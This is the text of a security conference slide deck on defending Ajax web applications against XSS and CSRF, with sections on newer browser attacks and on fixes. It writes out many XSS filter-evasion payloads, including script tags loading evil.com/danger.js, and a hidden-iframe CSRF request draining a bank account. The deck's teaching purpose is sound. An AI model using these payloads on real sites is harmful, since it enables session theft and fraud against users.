Rich Web App Security - Ajax...

Rich Web App SecurityKeeping your application safe

Jeremiah GrossmanFounder and CTOWhiteHat Security

Joe WalkerDWR Developer

Getahead

5 Stages of Web Application Security Grief

Denial

Anger

Bargaining

Depression

Acceptance

Telnet

FTP

POP

http(s)

Web ServersDatabase

App Servers

Network security solutions don't work for web application security

8 out of 10 Websitesare

Vulnerable

The Victims

The companies that host the Applications

The users that use the Applications

Building Blocks: XSS

XSS = Cross Site Scripting

You are at risk of an XSS attack any time you allow scripts from someone untrusted into

pages from your domain

Building Blocks: XSS

You let the user enter their name

Someone is going to enter their name like this:

Joe<script src="evil.com/danger.js">

Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe

Making User Input Safe

You filter out ‘<script.*>’ and then you’re safe.

Right?


Actually you also need to filter:

<a href='javascript:danger();'>

<body onload='danger();'>

<p style='background-image: url("javascript:danger();")');

<img src='javascript:danger()'/>

Making User Input SafeAnd don’t forget:

<body background="javascript:danger()">

<link rel="stylesheet" href="javascript:danger()"/>

<style>@import evil.com/danger.js</style>

<input type='image' src='javascript:danger()'/>


And then there’s:

<iframe src='evil.com/danger.html'/>

<meta http-equiv="refresh" content="0;url=javascript:danger()">

<base href="javascript:danger()">

<frameset> <frame src="javascript:danger()">...


But remember:

<table background="javascript:danger()">

<tr background="javascript:danger()">

<div style="width:expression(danger();)">

<object type="text/x-scriptlet" data="evil.com/danger.js">


Denial

Anger

Bargaining

Depression

Acceptance


It’s made 1000 times worse by browsers being able to make sense of virtually anything.

This:

<a href="a.html" link</a>

makes perfect sense to a browser.



This:

<a href="a.html">link




This:

<a href="a.html >link</a>




This: (depending on some encoding tricks)

¼a href="a.html"¾link¼/a¾


Making User Input SafeAnd we haven’t got into:

• Flash (ActionScript ~= JavaScript)

• SVG (can embed JavaScript)

• .htc (packaged HTML in IE)

• XML Data Islands (IE only)

• HTML+TIME

You can use both <object> and <embed> for many of these


Denial

Anger

Bargaining

Depression

Acceptance

Building Blocks: CSRF

CSRF = Cross Site Request Forgery

You are at risk of a CSRF attack whenever you assume that a request containing an

authentication header (e.g. cookies) is something the user intended


bank.com evil.com.

<iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/>

Welcome Fred,Thank-you for logging in


JavaScript is not always required to exploit a CSRF hole

Often all you need is:<iframe src="dangerous_url">or <img src="dangerous_url"/>or <script src="dangerous_url">

You can’t use XHR because cross-domain rules prevent the request from being sent

70 new new attack techniques in 2006

Many are small, but they combine in worrying ways

Jeremiah’s Top 10:

http://jeremiahgrossman.blogspot.com/2006/12/top-10-web-hacks-of-2006.html

The 6 most important ...

Attacks only get more Effective

Hacking RSS and Atom Feed Implementationshttp://www.cgisecurity.com/papers/HackingFeeds.pdf

} ⇢6. Hacking RSS Readers

RSS Feeds Aggregators generallychange the domain

Users getthe result

If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts

XHR/Flash/Quicktime can be used as a vector

Web worms grow much faster than email worms

So far, infections have been mostly benign, like how email worms were in the early 90’s ...

http://www.whitehatsec.com/downloads/WHXSSThreats.pdf

5. Web Worms

Many media types are scriptable by design:

Some are ‘scriptable’ by buffer-overflow:

If you are allowing users to upload files, be afraid.

4. Backdooring Media Files

JavaScript Malware embedded in everythinghttp://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html

I want to know if you visit dodgy.com

I create a page with a link and use a script to read the CSS link color:

purple:guilty, blue:not guilty

A page can quickly check thousands of sites

http://ha.ckers.org/weird/CSS-history-hack.html

3. History Stealing - Part 1

3. History Stealing - Part 2

Point a script tag at a protected HTML resource, detect differing replies by differing error messages<script src="http://mail.google.com/mail">

http://ha.ckers.org/weird/javascript-website-login-checker.html

The basic attack:

A browser visits evil.com. The DNS lookup gives the real web-server address.

1 second later evil.com creates an iframe to the evil.com and drops the HTTP request

The DNS pin is dropped, the browser needs to look up DNS again.

This time it gets someone else’s address.

The browser reads from the other site, but thinks it is the same domain.

2. Anti-DNS Pinning

2. Anti-DNS Pinning

As it is the attack isn’t very useful because:

• The browser thinks the domain is evil.com, so cookies for innocent.com are not sent, cookie protected resources are safe (for now)

• But it’s great for Intranet hacking - no cookies are needed to read from 192.168.0.1 or 127.0.0.1

History stealing to enumerate hosts inside the firewall

Anti-DNS pinning to read HTML from inside

Many routers / firewalls / etc have default passwords, which an attacker can exploit

Use CSRF to alter router / firewall settingshttp://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf

1. Intranet Hacking


Denial

Anger

Bargaining

Depression

Acceptance

Fixing XSS(when HTML is Illegal)

1. Filter inputs by white-listing input characters

Remember to filter header names and values

2. Filter outputs for the display environment

For HTML:& ⇒ & < ⇒ < > ⇒ >

' ⇒ ' " ⇒ "

Other environments have other special chars

Fixing XSS(when HTML is Legal, and Well Formed)

1. Filter inputs as before

2. Swap characters for entities (as before)

3. Swap back whitelist of allowed tags. e.g.:

<strong> ⇒ <strong>

4. Take extra care over attributes:

s/&lta href="$[^&]*$"\/>/<a href="$1"/>

5. Don’t use regular expressions

Fixing XSS(when HTML is Legal, and NOT Well Formed)

1. Find another way to do it / Swap jobs / Find some other solution to the problem

2. Create a tag soup parser to create a DOM tree from a badly formed HTML document

Remember to recursively check encodings

3. Create a tree walker that removes all non approved elements and attributes

Fixing CSRF

Force users to log off

Checking referrer headers doesn’t make things safe, but it does slow attackers down

Include authentication tokens in the body

OWASP servlet filter

Double-submit cookie pattern

Security Corner: Cross-Site Request Forgerieshttp://shiflett.org/articles/cross-site-request-forgeries


Denial

Anger

Bargaining

Depression

Acceptance

Questions?

Jeremiah Grossmanhttp://www.whitehatsec.com/

Joe Walkerhttp://getahead.org/blog/joe

Rich Web App Security - Ajax...

Documents

Transcript of Rich Web App Security - Ajax...